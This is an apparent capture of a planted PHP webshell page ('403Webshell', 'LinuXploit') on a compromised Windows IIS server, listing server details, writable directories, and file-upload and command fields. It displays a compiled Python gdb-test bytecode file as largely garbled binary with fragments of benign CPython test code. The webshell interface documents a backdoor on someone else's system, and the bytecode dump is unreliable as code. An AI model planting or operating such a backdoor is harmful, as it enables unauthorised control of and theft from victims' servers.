403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/test/test_gdb/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/test/test_gdb/__pycache__/util.cpython-312.pyc
�

���g@*��P�ddlZddlZddlZddlZddlZddlZddlZddlZddlm	Z	ddl
mZejd�xsdZ
ejjejj!ej"�d�Zejjejj!e�d�ZdZdZd	�Zd
Zddd�d
�Zd�Ze�\ZZedkr!ej8ded�ded�de����d�Ze�d�Ze�Zd�Z Gd�dejBe�Z"y)�N)�support)�ExtraAssertions�gdbz
python-gdb.pyz
gdb_sample.py�
builtin_id�123c��tjj�D��cic]\}}|jd�s||��c}}Scc}}w)N�PYTHON)�os�environ�items�
startswith)�name�values  �'C:\Python312\\Lib\test\test_gdb\util.py�clean_environmentrsH��+-�:�:�+;�+;�+=�.�+=�K�D�%��?�?�8�,�
�%�K�+=�.�.��.s�A)rrT)�exitcode�checkc��t�}|r|j|�tddg}tdk\r|j	ddt
��f�|j	|�t
j|tjtjtjdd|��}|j}|j}|rG|j|k7r8tj|�}	t|	�d	|j�d
|�d|�d|��	��||fS)
z�Runs gdb in --batch mode with the additional arguments given by *args.

    Returns its (stdout, stderr) decoded from utf-8 using the replace handler.
    z--batchz-nx���z--init-eval-commandzadd-auto-load-safe-path �utf8�backslashreplace)�stdin�stdout�stderr�encoding�errors�envz failed with exit code z, expected exit code z	:
stdout=z
stderr=)r�update�GDB_PROGRAM�GDB_VERSION�extend�CHECKOUT_HOOK_PATH�
subprocess�run�PIPErr�
returncode�shlex�join�	Exception)
rr�args�env_varsr�cmd�procrr�cmd_texts
          r�run_gdbr1"s��
�
�C���
�
�8�����
�C��f���
�
�)�.�/A�.B�C�E�	F��J�J�t���>�>���o�o�������� 2���D��[�[�F�
�[�[�F�����H�,��:�:�c�?���8�*�$;�D�O�O�;L�M.�.6�Z�8"�"(��,"�"(��-�.�	.�

�F���c�:�	td�\}}t	j
d|�}|�t
d|z��|}t|jd��}t|jd��}||f}||fS#t$r}tjd|����d}~wwxYw)Nz	--versionz'Couldn't find gdb program on the path: z ^(?:GNU|HP) gdb.*?\b(\d+)\.(\d+)zunable to parse gdb version: %r��)	r1�OSError�unittest�SkipTest�re�searchr+�int�group)rr�exc�match�version_text�major�minor�versions        r�get_gdb_versionrCLs���Q� ��-����
�I�I�9�6�B�E��}��9�F�B�C�C��L�����A���E�����A���E��e�n�G��'�"�"��%�Q����"I�#�� O�P�P��Q�s�A4�4	B�=B�B)rrzIgdb versions before 7.0 didn't support python embedding. Saw gdb version �.r4z:
c���tddtjd��\}}d|vrtjd|����|stjd|����d|vrtjd	��y)
Nz9--eval-command=python import sys; print(sys.version_info)�--argsF)rzauto-loading has been declinedz;gdb security settings prevent use of custom hooks; stderr: z4gdb not built with embedded python support; stderr: zmajor=2zgdb built with Python 2)r1�sys�
executabler7r8)rrs  r�check_usable_gdbrIks����C��#�.�.���N�F�F�
(�6�1������j�
"�#�	#�������j�
"�#�	#��F����� 9�:�:�r2c��tjd�}|sy|j�}d|vxrtd�|D��S)N�CFLAGSFz-mcetc3�fK�|])}|jd�xr|jd����+y�w)z-fcf-protection)z=nonez=returnN)r
�endswith)�.0�flags  r�	<genexpr>z!cet_protection.<locals>.<genexpr>�s>����'� %���_�_�%6�7�A�!�]�]�+?�@�@�A� %�s�/1)�	sysconfig�get_config_var�split�any)�cflags�flagss  r�cet_protectionrW�sL��
�
%�
%�h�
/�F����L�L�N�E���
�
'��'� %�'�'�(r2c���tjrdtdtd�dtd�d��tj�D]}td|z��tdt���t�yy)Nzgdb version rrDr4�:z    z
    path: )r�verbose�printr"�GDB_VERSION_TEXT�
splitlinesr!)�lines r�setup_moduler_�sb�����
��[��^�,�A�k�!�n�-=�Q�?�@�$�/�/�1�D��'�D�.�!�2�
�
�;�-�(�)�
��r2c�*�eZdZdZddedddfd�Zd�Zy)�
DebuggerTestsz(Test that the debugger can debug Python.NFc�<�dd|zddg}tdk\r|dgz
}|rtr|dgz
}||z
}n|dgz
}|D�cgc]}d	|z��	}	}|	d
tjgz
}	|	j	tj��|s|	dgz
}	|r|	d|gz
}	n|r|	|gz
}	t|	d
ti�\}
}|s0|j�D]}t|tj���d|vrtjd��dD]}
|
|
vs�tj|
�d���|
Scc}w)z�
        Run 'python -c SOURCE' under gdb with a breakpoint.

        Support injecting commands after the breakpoint is reached

        Returns the stdout from gdb

        cmds_after_breakpoint: if provided, a list of strings: gdb commands
        zset breakpoint pending yeszbreak %szset print address offr&rzset print entry-values no�next�	backtracez--eval-command=%srFz-Sz-c�PYTHONHASHSEED)�filezPC not savedzKgdb cannot walk the frame object because the Program Counter is not present)z!(frame information optimized out)z*Unable to read information on python framez)(unable to read python frame information)z,Backtrace stopped: frame did not save the PCz ?? ()z found in gdb output)r"�CET_PROTECTIONrGrHr#r%�_args_from_interpreter_flagsr1rer]r[rr7r8)�self�source�script�
breakpoint�cmds_after_breakpoint�import_site�
ignore_stderr�commandsr.r,�out�errr^�patterns              r�get_stack_tracezDebuggerTests.get_stack_trace�sl��:
)���#�
$��
��.�&� ��4�5�5�H� ��
�V�H�$���-�-�H���
�%�H�
6>�>�X�c�#�c�)�X��>������!�	!�����J�;�;�=�>���T�F�N�D���T�6�N�"�D�
��V�H��D��D�@��@���S�����(���d����,�)��S� ��#�#�%3�4�
4�
�G�$�#�~��'�'�7�+�5I�(J�K�K�'
�*�
��m?s�Dc��tj||tj�}|s|j|�d|����yy)Nz did not match )�msg)r9r>�DOTALL�fail)ri�actualrs�ms    r�assertMultilineMatchesz$DebuggerTests.assertMultilineMatchess3���H�H�W�f�b�i�i�0����I�I�6�7�C�I�D�r2)�__name__�
__module__�__qualname__�__doc__�
BREAKPOINT_FNrtr{�r2rrara�s#��2�%)�$�#0�.2�$)�&+�	z�xEr2ra)#r
r9r)�shutilr%rGrQr7�testr�test.support.testcaser�whichr!�pathr*�dirnamerHr$�__file__�
SAMPLE_SCRIPTr�rerr"r1rCr\r8rIrWrgr_�TestCaserar�r2r�<module>r�s;��	�	��
��
����1��f�l�l�5�!�*�U���W�W�\�\�"�'�'�/�/�#�.�.�"A�"1�3�������R�W�W�_�_�X�6��H�
��
���.����T�'�T#�.!0� 1���+����
�(�
�
��&�q�>�*�!�K��N�+;�3��
�	���;�,��
(� �!���CE�H�%�%��CEr2

Youez - 2016 - github.com/yon3zu
LinuXploit